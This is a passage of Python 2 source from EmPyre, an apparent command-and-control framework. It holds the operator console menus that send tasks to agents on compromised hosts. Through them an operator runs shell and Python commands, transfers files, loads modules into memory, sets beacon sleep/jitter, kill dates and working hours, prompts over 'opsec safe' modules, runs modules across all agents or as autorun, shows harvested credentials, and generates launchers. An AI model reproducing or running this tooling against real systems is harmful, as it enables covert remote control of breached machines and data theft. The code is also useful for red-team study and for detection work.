# set the text prompt
self.prompt = '(EmPyre: '+helpers.color(name, 'red')+') > '
# listen for messages from this specific agent
dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
# display any results from the database that were stored
# while we weren't interacting with the agent
results = self.mainMenu.agents.get_agent_results(self.sessionID)
if results:
print "\n" + results.rstrip('\r\n')
# def preloop(self):
# traceback.print_stack()
def handle_agent_event(self, signal, sender):
"""
Handle agent event signals.
"""
if "[!] Agent" in signal and "exiting" in signal: pass
name = self.mainMenu.agents.get_agent_name(self.sessionID)
if (str(self.sessionID) + " returned results" in signal) or (str(name) + " returned results" in signal):
# display any results returned by this agent that are returned
# while we are interacting with it
results = self.mainMenu.agents.get_agent_results(self.sessionID)
if results:
print "\n" + results
elif "[+] Part of file" in signal and "saved" in signal:
if (str(self.sessionID) in signal) or (str(name) in signal):
print helpers.color(signal)
# print a nicely formatted help menu
# stolen/adapted from recon-ng
def print_topics(self, header, cmds, cmdlen, maxcol):
if cmds:
self.stdout.write("%s\n" % str(header))
if self.ruler:
self.stdout.write("%s\n" % str(self.ruler * len(header)))
for c in cmds:
self.stdout.write("%s %s\n" % (c.ljust(17), getattr(self, 'do_' + c).__doc__))
self.stdout.write("\n")
def emptyline(self): pass
def default(self, line):
"Default handler"
print helpers.color("[!] Command not recognized, use 'help' to see available commands")
def do_back(self, line):
"Go back a menu."
return True
def do_agents(self, line):
"Jump to the Agents menu."
raise NavAgents()
def do_listeners(self, line):
"Jump to the listeners menu."
raise NavListeners()
def do_main(self, line):
"Go back to the main menu."
raise NavMain()
def do_help(self, *args):
"Displays the help menu or syntax for particular commands."
cmd.Cmd.do_help(self, *args)
def do_list(self, line):
"Lists all active agents (or listeners)."
if line.lower().startswith("listeners"):
self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
elif line.lower().startswith("agents"):
self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
else:
print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
def do_rename(self, line):
"Rename the agent."
parts = line.strip().split(" ")
oldname = self.mainMenu.agents.get_agent_name(self.sessionID)
# name sure we get a new name to rename this agent
if len(parts) == 1:
# replace the old name with the new name
result = self.mainMenu.agents.rename_agent(oldname, parts[0])
if result:
self.prompt = "(EmPyre: "+helpers.color(parts[0], 'red')+") > "
else:
print helpers.color("[!] Please enter a new name for the agent")
def do_info(self, line):
"Display information about this agent"
# get the agent name, if applicable
agent = self.mainMenu.agents.get_agent(self.sessionID)
messages.display_agent(agent)
def do_exit(self, line):
"Task agent to exit."
try:
choice = raw_input(helpers.color("[>] Task agent to exit? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_EXIT")
# update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to exit")
return True
except KeyboardInterrupt as e:
print ""
def do_clear(self, line):
"Clear out agent tasking."
self.mainMenu.agents.clear_agent_tasks(self.sessionID)
def do_cd(self, line):
"Change an agent's active directory"
line = line.strip()
if line != "":
# have to be careful with inline python and no threading
# this can cause the agent to crash so we will use try / cath
# task the agent with this shell command
if line == "..":
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", 'import os; os.chdir(os.pardir); print "Directory stepped down: %s"' % (line))
else:
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", 'import os; os.chdir("%s"); print "Directory changed to: %s"' % (line, line))
# update the agent log
msg = "Tasked agent to change active directory to: %s" % (line)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_jobs(self, line):
"Return jobs or kill a running job."
parts = line.split(" ")
if len(parts) == 1:
if parts[0] == '':
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_GETJOBS")
# update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get running jobs")
else:
print helpers.color("[!] Please use form 'jobs kill JOB_ID'")
elif len(parts) == 2:
jobID = parts[1].strip()
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_STOPJOB", jobID)
# update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID))
def do_sleep(self, line):
"Task an agent to 'sleep interval [jitter]'"
parts = line.strip().split(" ")
delay = parts[0]
# make sure we pass a int()
if len(parts) >= 1:
try:
int(delay)
except:
print helpers.color("[!] Please only enter integer for 'interval'")
return
if len(parts) > 1:
try:
int(parts[1])
except:
print helpers.color("[!] Please only enter integer for '[jitter]'")
return
if delay == "":
# task the agent to display the delay/jitter
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; print 'delay/jitter = ' + str(delay)+'/'+str(jitter)")
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display delay/jitter")
elif len(parts) > 0 and parts[0] != "":
delay = parts[0]
jitter = 0.0
if len(parts) == 2:
jitter = parts[1]
# update this agent's information in the database
self.mainMenu.agents.set_agent_field("delay", delay, self.sessionID)
self.mainMenu.agents.set_agent_field("jitter", jitter, self.sessionID)
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; delay=%s; jitter=%s; print 'delay/jitter set to %s/%s'" % (delay, jitter, delay, jitter))
# update the agent log
msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_lostlimit(self, line):
"Task an agent to display change the limit on lost agent detection"
parts = line.strip().split(" ")
lostLimit = parts[0]
if lostLimit == "":
# task the agent to display the lostLimit
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; print 'lostLimit = ' + str(lostLimit)")
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display lost limit")
else:
# update this agent's information in the database
self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, self.sessionID)
# task the agent with the new lostLimit
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; lostLimit=%s; print 'lostLimit set to %s'"%(lostLimit, lostLimit))
# update the agent log
msg = "Tasked agent to change lost limit " + str(lostLimit)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_killdate(self, line):
"Get or set an agent's killdate (01/01/2016)."
parts = line.strip().split(" ")
killDate = parts[0]
if killDate == "":
# task the agent to display the killdate
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global killDate; print 'killDate = ' + str(killDate)")
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display killDate")
else:
# update this agent's information in the database
self.mainMenu.agents.set_agent_field("kill_date", killDate, self.sessionID)
# task the agent with the new killDate
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global killDate; killDate='%s'; print 'killDate set to %s'" % (killDate, killDate))
# update the agent log
msg = "Tasked agent to set killdate to %s" %(killDate)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_workinghours(self, line):
"Get or set an agent's working hours (9:00-17:00)."
parts = line.strip().split(" ")
hours = parts[0]
if hours == "":
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global workingHours; print 'workingHours = ' + str(workingHours)")
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get working hours")
else:
# update this agent's information in the database
self.mainMenu.agents.set_agent_field("working_hours", hours, self.sessionID)
# task the agent with the new working hours
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global workingHours; workingHours= '%s'"%(hours))
# update the agent log
msg = "Tasked agent to set working hours to: %s" % (hours)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_shell(self, line):
"Task an agent to use a shell command."
line = line.strip()
if line != "":
# task the agent with this shell command
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", str(line))
# update the agent log
msg = "Tasked agent to run shell command: %s" % (line)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_python(self, line):
"Task an agent to run a Python command."
line = line.strip()
if line != "":
# task the agent with this shell command
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", str(line))
# update the agent log
msg = "Tasked agent to run Python command %s" % (line)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_sysinfo(self, line):
"Task an agent to get system information."
# task the agent with this shell command
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SYSINFO")
# update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get system information")
def do_download(self, line):
"Task an agent to download a file."
line = line.strip()
if line != "":
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_DOWNLOAD", line)
# update the agent log
msg = "Tasked agent to download: %s" % (line)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_upload(self, line):
"Task an agent to upload a file."
# "upload /path/file.ext" or "upload /path/file/file.ext newfile.ext"
# absolute paths accepted
parts = line.strip().split(" ")
uploadname = ""
if len(parts) > 0 and parts[0] != "":
if len(parts) == 1:
# if we're uploading the file with its original name
uploadname = os.path.basename(parts[0])
else:
# if we're uploading the file as a different name
uploadname = parts[1].strip()
if parts[0] != "" and os.path.exists(parts[0]):
# read in the file and base64 encode it for transport
f = open(parts[0], 'r')
fileData = f.read()
f.close()
# Get file size
print helpers.color("[*] Starting size of %s for upload: %s" %(uploadname, helpers.get_file_size(fileData)), color="green")
msg = "Tasked agent to upload " + parts[0] + " : " + hashlib.md5(fileData).hexdigest()
# update the agent log with the filename and MD5
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
# compress data before we base64
c = compress.compress()
start_crc32 = c.crc32_data(fileData)
comp_data = c.comp_data(fileData, 9)
fileData = c.build_header(comp_data, start_crc32)
# get final file size
print helpers.color("[*] Final tasked size of %s for upload: %s" %(uploadname, helpers.get_file_size(fileData)), color="green")
fileData = helpers.encode_base64(fileData)
# upload packets -> "filename | script data"
data = uploadname + "|" + fileData
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_UPLOAD", data)
else:
print helpers.color("[!] Please enter a valid file path to upload")
def do_moduleimport(self, line):
"Task an agent to import a python module (*.py or folder) in memory."
parts = line.strip()
path = parts
fullzipname = ""
if path != "" and os.path.exists(path):
if os.path.splitext(path)[-1] == '.py' and os.path.isfile(path):
#zip up a single py file
zipname = os.path.basename(path).split('.')[0] + ".zip"
fullzipname = self.mainMenu.installPath+"data/misc/"+zipname
print helpers.color("[*] Creating zip file and uploading %s into memory" % fullzipname, color="green")
zf = zipfile.ZipFile(fullzipname, 'w', zipfile.ZIP_DEFLATED)
zf.write(path,zipname.split('.')[0], zipfile.ZIP_DEFLATED)
zf.close()
elif os.path.isdir(path):
#zip up the contents of a directory
zipname = os.path.basename(os.path.normpath(path))+".zip"
fullzipname = self.mainMenu.installPath+"data/misc/"+zipname
print helpers.color("[*] Writing module contents to %s" % fullzipname, color="green")
zf = zipfile.ZipFile(fullzipname, 'w', zipfile.ZIP_DEFLATED)
for root, dirs, files in os.walk(path):
for file in files:
zf.write(os.path.join(root,file))
zf.close()
else:
print helpers.color("[!] %s is not a valid path" % path)
if os.path.exists(fullzipname):
open_file = open(fullzipname,'rb')
module_data = open_file.read()
open_file.close()
os.remove(fullzipname)
msg = "Tasked agent to import "+path+" : " + hashlib.md5(module_data).hexdigest()
print helpers.color("[*] "+msg, color="green")
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
c = compress.compress()
start_crc32 = c.crc32_data(module_data)
comp_data = c.comp_data(module_data, 9)
module_data = c.build_header(comp_data, start_crc32)
module_data = helpers.encode_base64(module_data)
data = zipname + "|" + module_data
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_MODULE_IMPORT", data)
else:
print helpers.color("[!] Failed creating zipfile for module %s" % path)
else:
print helpers.color("[!] Please enter a valid path")
def do_usemodule(self, line):
"Use an EmPyre Python module."
module = line.strip()
if module not in self.mainMenu.modules.modules:
print helpers.color("[!] Error: invalid module")
else:
l = ModuleMenu(self.mainMenu, line, agent=self.sessionID)
l.cmdloop()
def do_searchmodule(self, line):
"Search EmPyre module names/descriptions."
searchTerm = line.strip()
if searchTerm.strip() == "":
print helpers.color("[!] Please enter a search term.")
else:
self.mainMenu.modules.search_modules(searchTerm)
def do_creds(self, line):
"Display/return credentials from the database."
self.mainMenu.do_creds(line)
# def do_updateprofile(self, line):
# "Update an agent connection profile."
# # TODO: implement
def complete_usemodule(self, text, line, begidx, endidx):
"Tab-complete an EmPyre Python module path"
return self.mainMenu.complete_usemodule(text, line, begidx, endidx)
def complete_upload(self, text, line, begidx, endidx):
"Tab-complete an upload file path"
return helpers.complete_path(text, line)
def complete_moduleimport(self, text, line, begidx, endidx):
"Tab-complete a module import file path"
return helpers.complete_path(text, line)
# def complete_updateprofile(self, text, line, begidx, endidx):
# "Tab-complete an updateprofile path"
# return helpers.complete_path(text,line)
class ListenerMenu(cmd.Cmd):
def __init__(self, mainMenu):
cmd.Cmd.__init__(self)
self.doc_header = 'Listener Commands'
self.mainMenu = mainMenu
# get all the the stock listener options
self.options = self.mainMenu.listeners.get_listener_options()
# set the prompt text
self.prompt = '(EmPyre: '+helpers.color("listeners", color="blue")+') > '
# display all active listeners on menu startup
messages.display_listeners(self.mainMenu.listeners.get_listeners())
# def preloop(self):
# traceback.print_stack()
# print a nicely formatted help menu
# stolen/adapted from recon-ng
def print_topics(self, header, cmds, cmdlen, maxcol):
if cmds:
self.stdout.write("%s\n" % str(header))
if self.ruler:
self.stdout.write("%s\n" % str(self.ruler * len(header)))
for c in cmds:
self.stdout.write("%s %s\n" % (c.ljust(17), getattr(self, 'do_' + c).__doc__))
self.stdout.write("\n")
def emptyline(self): pass
def do_exit(self, line):
"Exit EmPyre."
raise KeyboardInterrupt
def do_list(self, line):
"List all active listeners (or agents)."
if line.lower().startswith("agents"):
self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
elif line.lower().startswith("listeners"):
self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
else:
self.mainMenu.do_list("listeners " + str(line))
def do_back(self, line):
"Go back to the main menu."
raise NavMain()
def do_agents(self, line):
"Jump to the Agents menu."
raise NavAgents()
def do_main(self, line):
"Go back to the main menu."
raise NavMain()
def do_exit(self, line):
"Exit EmPyre."
raise KeyboardInterrupt
def do_set(self, line):
"Set a listener option."
parts = line.split(" ")
if len(parts) > 1:
if parts[0].lower() == "defaultprofile" and os.path.exists(parts[1]):
try:
f = open(parts[1], 'r')
profileDataRaw = f.readlines()
profileData = [l for l in profileDataRaw if (not l.startswith("#") and l.strip() != "")]
profileData = profileData[0].strip("\"")
f.close()
self.mainMenu.listeners.set_listener_option(parts[0], profileData)
except:
print helpers.color("[!] Error opening profile file %s" %(parts[1]))
else:
self.mainMenu.listeners.set_listener_option(parts[0], " ".join(parts[1:]))
else:
print helpers.color("[!] Please enter a value to set for the option")
def do_unset(self, line):
"Unset a listener option."
option = line.strip()
self.mainMenu.listeners.set_listener_option(option, '')
def do_info(self, line):
"Display listener options."
parts = line.split(" ")
if parts[0] != '':
if self.mainMenu.listeners.is_listener_valid(parts[0]):
listener = self.mainMenu.listeners.get_listener(parts[0])
messages.display_listener_database(listener)
else:
print helpers.color("[!] Please enter a valid listener name or ID")
else:
messages.display_listener(self.mainMenu.listeners.options)
def do_options(self, line):
"Display listener options."
parts = line.split(" ")
if parts[0] != '':
if self.mainMenu.listeners.is_listener_valid(parts[0]):
listener = self.mainMenu.listeners.get_listener(parts[0])
messages.display_listener_database(listener)
else:
print helpers.color("[!] Please enter a valid listener name or ID")
else:
messages.display_listener(self.mainMenu.listeners.options)
def do_kill(self, line):
"Kill one or all active listeners."
listenerID = line.strip()
if listenerID.lower() == "all":
try:
choice = raw_input(helpers.color("[>] Kill all listeners? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
self.mainMenu.listeners.killall()
except KeyboardInterrupt as e:
print ""
else:
if listenerID != "" and self.mainMenu.listeners.is_listener_valid(listenerID):
self.mainMenu.listeners.shutdown_listener(listenerID)
self.mainMenu.listeners.delete_listener(listenerID)
else:
print helpers.color("[!] Invalid listener name or ID.")
def do_execute(self, line):
"Execute a listener with the currently specified options."
(success, message) = self.mainMenu.listeners.add_listener_from_config()
if success:
print helpers.color("[*] Listener '%s' successfully started." %(message))
else:
print helpers.color("[!] %s" %(message))
def do_run(self, line):
"Execute a listener with the currently specified options."
self.do_execute(line)
def do_usestager(self, line):
"Use an EmPyre stager."
parts = line.split(" ")
if parts[0] not in self.mainMenu.stagers.stagers:
print helpers.color("[!] Error: invalid stager module")
elif len(parts) == 1:
l = StagerMenu(self.mainMenu, parts[0])
l.cmdloop()
elif len(parts) == 2:
listener = parts[1]
if not self.mainMenu.listeners.is_listener_valid(listener):
print helpers.color("[!] Please enter a valid listener name or ID")
else:
self.mainMenu.stagers.set_stager_option('Listener', listener)
l = StagerMenu(self.mainMenu, parts[0])
l.cmdloop()
else:
print helpers.color("[!] Error in ListenerMenu's do_userstager()")
def do_launcher(self, line):
"Generate an initial launcher for a listener."
nameid = self.mainMenu.listeners.get_listener_id(line.strip())
if nameid:
listenerID = nameid
else:
listenerID = line.strip()
if listenerID != "" and self.mainMenu.listeners.is_listener_valid(listenerID):
# set the listener value for the launcher
stager = self.mainMenu.stagers.stagers["launcher"]
stager.options['Listener']['Value'] = listenerID
stager.options['Base64']['Value'] = "True"
# and generate the code
print stager.generate()
else:
print helpers.color("[!] Please enter a valid listenerID")
def complete_set(self, text, line, begidx, endidx):
"Tab-complete listener option values."
if line.split(" ")[1].lower() == "host":
return ["http://" + helpers.lhost()]
elif line.split(" ")[1].lower() == "redirecttarget":
# if we're tab-completing a listener name, return all the names
listenerNames = self.mainMenu.listeners.get_listener_names()
endLine = " ".join(line.split(" ")[1:])
mline = endLine.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in listenerNames if s.startswith(mline)]
elif line.split(" ")[1].lower() == "type":
# if we're tab-completing the listener type
listenerTypes = ["native", "pivot", "hop", "foreign", "meter"]
endLine = " ".join(line.split(" ")[1:])
mline = endLine.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in listenerTypes if s.startswith(mline)]
elif line.split(" ")[1].lower() == "certpath":
return helpers.complete_path(text, line, arg=True)
elif line.split(" ")[1].lower() == "defaultprofile":
return helpers.complete_path(text, line, arg=True)
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in self.options if s.startswith(mline)]
def complete_unset(self, text, line, begidx, endidx):
"Tab-complete listener option values."
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in self.options if s.startswith(mline)]
def complete_usestager(self, text, line, begidx, endidx):
"Tab-complete an EmPyre stager module path."
return self.mainMenu.complete_usestager(text, line, begidx, endidx)
def complete_kill(self, text, line, begidx, endidx):
"Tab-complete listener names"
# get all the listener names
names = self.mainMenu.listeners.get_listener_names() + ["all"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in names if s.startswith(mline)]
def complete_launcher(self, text, line, begidx, endidx):
"Tab-complete listener names/IDs"
# get all the listener names
names = self.mainMenu.listeners.get_listener_names()
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in names if s.startswith(mline)]
def complete_info(self, text, line, begidx, endidx):
"Tab-complete listener names/IDs"
return self.complete_launcher(text, line, begidx, endidx)
def complete_options(self, text, line, begidx, endidx):
"Tab-complete listener names/IDs"
return self.complete_launcher(text, line, begidx, endidx)
class ModuleMenu(cmd.Cmd):
def __init__(self, mainMenu, moduleName, agent=None):
cmd.Cmd.__init__(self)
self.doc_header = 'Module Commands'
self.mainMenu = mainMenu
# get the current module/name
self.moduleName = moduleName
self.module = self.mainMenu.modules.modules[moduleName]
# set the prompt text
self.prompt = '(EmPyre: '+helpers.color(self.moduleName, color="blue")+') > '
# if this menu is being called from an agent menu
if agent:
# resolve the agent sessionID to a name, if applicable
agent = self.mainMenu.agents.get_agent_name(agent)
self.module.options['Agent']['Value'] = agent
# def preloop(self):
# traceback.print_stack()
def validate_options(self):
"Make sure all required module options are completed."
sessionID = self.module.options['Agent']['Value']
for option, values in self.module.options.iteritems():
if values['Required'] and ((not values['Value']) or (values['Value'] == '')):
print helpers.color("[!] Error: Required module option missing.")
return False
# # TODO: implement this all/autorun check
# try:
# # if we're running this module for all agents, skip this validation
# if sessionID.lower() != "all" and sessionID.lower() != "autorun":
# modulePSVersion = int(self.module.info['MinPSVersion'])
# agentPSVersion = int(self.mainMenu.agents.get_ps_version(sessionID))
# # check if the agent/module PowerShell versions are compatible
# if modulePSVersion > agentPSVersion:
# print helpers.color("[!] Error: module requires PS version "+str(modulePSVersion)+" but agent running PS version "+str(agentPSVersion))
# return False
# except Exception as e:
# print helpers.color("[!] Invalid module or agent PS version!")
# return False
# check if the module needs admin privs
if self.module.info['NeedsAdmin']:
# if we're running this module for all agents, skip this validation
if sessionID.lower() != "all" and sessionID.lower() != "autorun":
if not self.mainMenu.agents.is_agent_elevated(sessionID):
print helpers.color("[!] Error: module needs to run in an elevated context.")
return False
# if the module isn't opsec safe, prompt before running
if not self.module.info['OpsecSafe']:
try:
choice = raw_input(helpers.color("[>] Module is not opsec safe, run? [y/N] ", "red"))
if not (choice.lower() != "" and choice.lower()[0] == "y"):
return False
except KeyboardInterrupt:
print ""
return False
return True
def emptyline(self): pass
# print a nicely formatted help menu
# stolen/adapted from recon-ng
def print_topics(self, header, cmds, cmdlen, maxcol):
if cmds:
self.stdout.write("%s\n" % str(header))
if self.ruler:
self.stdout.write("%s\n" % str(self.ruler * len(header)))
for c in cmds:
self.stdout.write("%s %s\n" % (c.ljust(17), getattr(self, 'do_' + c).__doc__))
self.stdout.write("\n")
def do_back(self, line):
"Go back a menu."
return True
def do_agents(self, line):
"Jump to the Agents menu."
raise NavAgents()
def do_listeners(self, line):
"Jump to the listeners menu."
raise NavListeners()
def do_main(self, line):
"Go back to the main menu."
raise NavMain()
def do_exit(self, line):
"Exit EmPyre."
raise KeyboardInterrupt
def do_list(self, line):
"Lists all active agents (or listeners)."
if line.lower().startswith("listeners"):
self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
elif line.lower().startswith("agents"):
self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
else:
print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
def do_reload(self, line):
"Reload the current module."
print "\n" + helpers.color("[*] Reloading module") + "\n"
# reload the specific module
self.mainMenu.modules.reload_module(self.moduleName)
# regrab the reference
self.module = self.mainMenu.modules.modules[self.moduleName]
def do_info(self, line):
"Display module options."
messages.display_module(self.moduleName, self.module)
def do_options(self, line):
"Display module options."
messages.display_module(self.moduleName, self.module)
def do_set(self, line):
"Set a module option."
parts = line.split()
try:
option = parts[0]
if option not in self.module.options:
print helpers.color("[!] Invalid option specified.")
elif len(parts) == 1:
# "set OPTION"
# check if we're setting a switch
if self.module.options[option]['Description'].startswith("Switch."):
self.module.options[option]['Value'] = "True"
else:
print helpers.color("[!] Please specify an option value.")
else:
# otherwise "set OPTION VALUE"
option = parts[0]
value = " ".join(parts[1:])
if value == '""' or value == "''":
value = ""
self.module.options[option]['Value'] = value
except:
print helpers.color("[!] Error in setting option, likely invalid option name.")
def do_unset(self, line):
"Unset a module option."
option = line.split()[0]
if line.lower() == "all":
for option in self.module.options:
self.module.options[option]['Value'] = ''
if option not in self.module.options:
print helpers.color("[!] Invalid option specified.")
else:
self.module.options[option]['Value'] = ''
def do_usemodule(self, line):
"Use an EmPyre Python module."
module = line.strip()
if module not in self.mainMenu.modules.modules:
print helpers.color("[!] Error: invalid module")
else:
l = ModuleMenu(self.mainMenu, line, agent=self.module.options['Agent']['Value'])
l.cmdloop()
def do_creds(self, line):
"Display/return credentials from the database."
self.mainMenu.do_creds(line)
def do_execute(self, line):
"Execute the given EmPyre module."
if not self.validate_options():
return
agentName = self.module.options['Agent']['Value']
try:
moduleData = self.module.generate()
except Exception as e:
moduleData = False
moduleError = e
if not moduleData or moduleData == "":
print helpers.color("[!] Error: module produced an empty script")
print helpers.color("[!] Error Building module: " + str(moduleError), color="yellow")
dispatcher.send("[!] Error: module produced an empty script", sender="EmPyre")
return
try:
moduleData.decode('ascii')
except UnicodeDecodeError:
print helpers.color("[!] Error: module source contains non-ascii characters")
return
# strip all comments from the module
moduleData = helpers.strip_python_comments(moduleData)
taskCommand = ""
# check for opt tasking methods to prevent using a try/catch block
# elif dose not support try/catch native
try:
if str(self.module.info['RunOnDisk']).lower() == "true":
RunOnDisk = True
if str(self.module.info['RunOnDisk']).lower() == "false":
RunOnDisk = False
except:
RunOnDisk = False
pass
# build the appropriate task command and module data blob
if str(self.module.info['Background']).lower() == "true":
# if this module should be run in the background
extention = self.module.info['OutputExtension']
if extention and extention != "":
# if this module needs to save its file output to the server
# format- [15 chars of prefix][5 chars extension][data]
saveFilePrefix = self.moduleName.split("/")[-1]
moduleData = saveFilePrefix.rjust(15) + extention.rjust(5) + moduleData
taskCommand = "TASK_CMD_JOB_SAVE"
else:
taskCommand = "TASK_CMD_JOB"
elif RunOnDisk:
# if this module is run on disk
extention = self.module.info['OutputExtension']
if self.module.info['OutputExtension'] and self.module.info['OutputExtension'] != "":
# if this module needs to save its file output to the server
# format- [15 chars of prefix][5 chars extension][data]
saveFilePrefix = self.moduleName.split("/")[-1][:15]
moduleData = saveFilePrefix.rjust(15) + extention.rjust(5) + moduleData
taskCommand = "TASK_CMD_WAIT_SAVE"
else:
taskCommand = "TASK_CMD_WAIT_DISK"
else:
# if this module is run in the foreground
extention = self.module.info['OutputExtension']
if self.module.info['OutputExtension'] and self.module.info['OutputExtension'] != "":
# if this module needs to save its file output to the server
# format- [15 chars of prefix][5 chars extension][data]
saveFilePrefix = self.moduleName.split("/")[-1][:15]
moduleData = saveFilePrefix.rjust(15) + extention.rjust(5) + moduleData
taskCommand = "TASK_CMD_WAIT_SAVE"
else:
taskCommand = "TASK_CMD_WAIT"
# if we're running the module on all modules
if agentName.lower() == "all":
try:
choice = raw_input(helpers.color("[>] Run module on all agents? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
# signal everyone with what we're doing
print helpers.color("[*] Tasking all agents to run " + self.moduleName)
dispatcher.send("[*] Tasking all agents to run " + self.moduleName, sender="EmPyre")
# actually task the agents
for agent in self.mainMenu.agents.get_agents():
sessionID = agent[1]
# set the agent's tasking in the cache
self.mainMenu.agents.add_agent_task(sessionID, taskCommand, moduleData)
# update the agent log
dispatcher.send("[*] Tasked agent "+sessionID+" to run module " + self.moduleName, sender="EmPyre")
msg = "Tasked agent to run module " + self.moduleName
self.mainMenu.agents.save_agent_log(sessionID, msg)
except KeyboardInterrupt as e:
print ""
# set the script to be the global autorun
elif agentName.lower() == "autorun":
self.mainMenu.agents.set_autoruns(taskCommand, moduleData)
dispatcher.send("[*] Set module " + self.moduleName + " to be global script autorun.", sender="EmPyre")
else:
if not self.mainMenu.agents.is_agent_present(agentName):
print helpers.color("[!] Invalid agent name.")
else:
# set the agent's tasking in the cache
self.mainMenu.agents.add_agent_task(agentName, taskCommand, moduleData)
# update the agent log
dispatcher.send("[*] Tasked agent "+agentName+" to run module " + self.moduleName, sender="EmPyre")
msg = "Tasked agent to run module " + self.moduleName
self.mainMenu.agents.save_agent_log(agentName, msg)
def do_run(self, line):
"Execute the given EmPyre module."
self.do_execute(line)
def complete_set(self, text, line, begidx, endidx):
"Tab-complete a module option to set."
options = self.module.options.keys()
if line.split(" ")[1].lower() == "agent":
# if we're tab-completing "agent", return the agent names
agentNames = self.mainMenu.agents.get_agent_names() + ["all", "autorun"]
endLine = " ".join(line.split(" ")[1:])
mline = endLine.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in agentNames if s.startswith(mline)]
elif line.split(" ")[1].lower() == "listener":
# if we're tab-completing a listener name, return all the names
listenerNames = self.mainMenu.listeners.get_listener_names()
endLine = " ".join(line.split(" ")[1:])
mline = endLine.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in listenerNames if s.startswith(mline)]
elif line.split(" ")[1].lower().endswith("path"):
return helpers.complete_path(text, line, arg=True)
elif line.split(" ")[1].lower().endswith("file"):
return helpers.complete_path(text, line, arg=True)
elif line.split(" ")[1].lower().endswith("host"):
return [helpers.lhost()]
# otherwise we're tab-completing an option name
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]
def complete_unset(self, text, line, begidx, endidx):
"Tab-complete a module option to unset."
options = self.module.options.keys() + ["all"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]
def complete_usemodule(self, text, line, begidx, endidx):
"Tab-complete an EmPyre Python module path."
return self.mainMenu.complete_usemodule(text, line, begidx, endidx)
def complete_creds(self, text, line, begidx, endidx):
"Tab-complete 'creds' commands."
return self.mainMenu.complete_creds(text, line, begidx, endidx)
class StagerMenu(cmd.Cmd):
def __init__(self, mainMenu, stagerName, listener=None):
cmd.Cmd.__init__(self)
self.doc_header = 'Stager Menu'
self.mainMenu = mainMenu
# get the current stager name
self.stagerName = stagerName
self.stager = self.mainMenu.stagers.stagers[stagerName]
# set the prompt text
self.prompt = '(EmPyre: '+helpers.color("stager/"+self.stagerName, color="blue")+') > '
# if this menu is being called from an listener menu
if listener:
# resolve the listener ID to a name, if applicable
listener = self.mainMenu.listeners.get_listener(listener)
self.stager.options['Listener']['Value'] = listener
def validate_options(self):
"Make sure all required stager options are completed."
for option, values in self.stager.options.iteritems():
if values['Required'] and ((not values['Value']) or (values['Value'] == '')):
print helpers.color("[!] Error: Required stager option missing.")
